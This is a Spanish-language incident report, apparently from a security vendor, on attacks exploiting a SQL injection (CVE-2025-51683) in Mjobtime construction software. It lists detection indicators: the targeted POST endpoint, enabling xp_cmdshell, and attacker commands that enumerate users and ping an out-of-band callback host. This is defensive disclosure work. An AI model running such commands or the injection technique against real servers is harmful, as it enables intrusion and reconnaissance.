Bajo el casco: cómo las aplicaciones de construcción hackeadas están derribando la seguridad del sitio de trabajo

Uno de los primeros pasos en la higiene básica de TI y seguridad es mantener un inventario preciso de todos los activos, incluidos los sistemas físicos y virtuales, así como las aplicaciones. Una vez que sabes qué tienes, puedes empezar a protegerlo mediante la reducción de la superficie de ataque. Sin embargo, identificar todas las aplicaciones instaladas puede ser difícil, ya que instalar una aplicación necesaria o esencial para el negocio también puede instalar silenciosamente software adicional junto con ella.

Este fue el caso en el otoño de 2024 con el software de contabilidad FOUNDATION. El equipo del Huntress SOC marcó varios incidentes en los que se ejecutaban comandos a través de la instancia de MSSQL instalada (es decir, sqlservr.exe), y en esos incidentes, el cliente había instalado el software de contabilidad FOUNDATION, que depende de la instancia de MSSQL para su funcionalidad de backend. La Figura X es un extracto del blog de Huntress que describe el problema con el software de contabilidad FOUNDATION.

Figura 1: Extracto del blog de Huntress, "Cracks in the Foundation: Intrusions of FOUNDATION Accounting Software"


El problema es la superficie de ataque “oculta”. Instalar una aplicación basada en la web no significa que solo necesites proteger el servidor web o la aplicación en sí. También existe el servidor de base de datos de backend que sostiene y provee su funcionalidad principal, y también debe protegerse. Para complicar aún más el reto, el riesgo no proviene solo de aplicaciones o servicios individuales, sino de cómo interactúan entre sí. Este problema existe desde hace más de 20 años, desde las primeras arquitecturas web, cuando los servidores web dependían de servidores de bases de datos, lo que generó fallas de inyección SQL que permitían a los atacantes ejecutar código en los servidores de bases de datos con los privilegios del servicio de base de datos (a menudo SYSTEM).

Resulta que FOUNDATION no es el único software de contabilidad dirigido específicamente a la industria de la construcción, ni el único que permite acceso mediante una aplicación móvil. Otra aplicación similar se llama Mjobtime, y se describe como “software de construcción todo en uno para el seguimiento de horas de trabajo, el seguimiento de equipos de construcción y la generación de informes.

Figura 2: Algunas de las herramientas que ofrece la aplicación Mjobtime (FUENTE: mjobtime.com) 

Mjobtime es una aplicación basada en la web, instalada en el servidor web Microsoft Internet Information Server (IIS), y depende de una base de datos MSSQL como backend. Se identificó, investigó y documentó una vulnerabilidad de inyección SQL ciega en la versión 15.7.2 de la aplicación Mjobtime, por parte de Dario Wiess de InfoGuard Labs, con CVE-2025-51683 asignado gracias a su trabajo.

Figura 3: Extracto del informe público de Dario, que ofrece indicadores reveladores de qué buscar cuando se intenta explotar la vulnerabilidad. (FUENTE: infoguard.ch)

La información que ofrece Dario es un recurso invaluable para determinar el vector de acceso inicial de un ataque contra la aplicación.

En 2025, los analistas de Huntress observaron tres incidentes vinculados a la explotación de CVE-2025-51683, el primero ocurrido el 21 de febrero de 2025. Según la línea de tiempo del artículo del blog de InfoGuard Labs, esto ocurrió justo antes de su primer contacto reportado con el proveedor el 20 de febrero de 2025. Otro cliente de Huntress se vio afectado por esta vulnerabilidad el 2 de diciembre de 2025, aproximadamente una semana después de que se publicara el aviso de InfoGuard Labs. Ese mismo cliente se vio afectado de nuevo el 11 de diciembre de 2025, y un tercer cliente de Huntress se vio afectado el 20 de diciembre de 2025.

En cada incidente, la actividad detectada estuvo asociada con la siguiente consulta observada en los registros del servidor web IIS:

POST /Default.aspx/update_profile_Server

Los registros del servidor web observados contenían múltiples entradas para la consulta POST mencionada, y en algún momento del incidente, se observó una entrada del registro del servidor web justo antes de que se habilitara el procedimiento almacenado extendido xp_cmdshell en la instancia de MSSQL. En el registro de eventos de aplicación de un cliente, la habilitación del procedimiento almacenado se veía así:

MSSQL$MJOBTIME/15457;xp_cmdshell,0,1

En la infraestructura del cliente, durante el primer incidente observado, el actor de amenazas pudo ejecutar los siguientes dos comandos antes de ser detectado y de que se aislara el endpoint:

cmd /c net user

ping  ei0lwafp0h7178z7qer9r9oualgc45su.oastify.com

Figura 4: Árbol de procesos

En los otros dos incidentes de clientes, se observaron comandos que usaban wget y curl dirigidos al mismo recurso, aunque cada cliente se vio afectado por separado. Después de que se ejecutaran estos comandos, no se detectó más actividad. Por ejemplo, Huntress no observó intentos de lanzar utilidades nativas adicionales, ejecutar otros programas o código, ni realizar ningún tipo de instalación tras los comandos.

En dos de los incidentes observados por Huntress, el servidor web y el servidor MSSQL estaban instalados en el mismo endpoint. En uno de los incidentes, las dos aplicaciones de servidor estaban instaladas en endpoints diferentes.

Remediación

Al buscar en el sitio web de Mjobtime, en particular en soporte o comunicados de prensa, no se encontró ningún indicio de un parche disponible para la aplicación. Sin embargo, las búsquedas en línea arrojaron datos generados por IA sobre la vulnerabilidad, la puntuación de severidad (CVSS 98) y orientación de mitigación.


Figura 5: Documentación generada por IA en un motor de búsqueda sobre la vulnerabilidad y el riesgo

Si usas esta aplicación, contacta al proveedor de inmediato para obtener información sobre un parche o cualquier otra forma de remediación.

También te podría interesar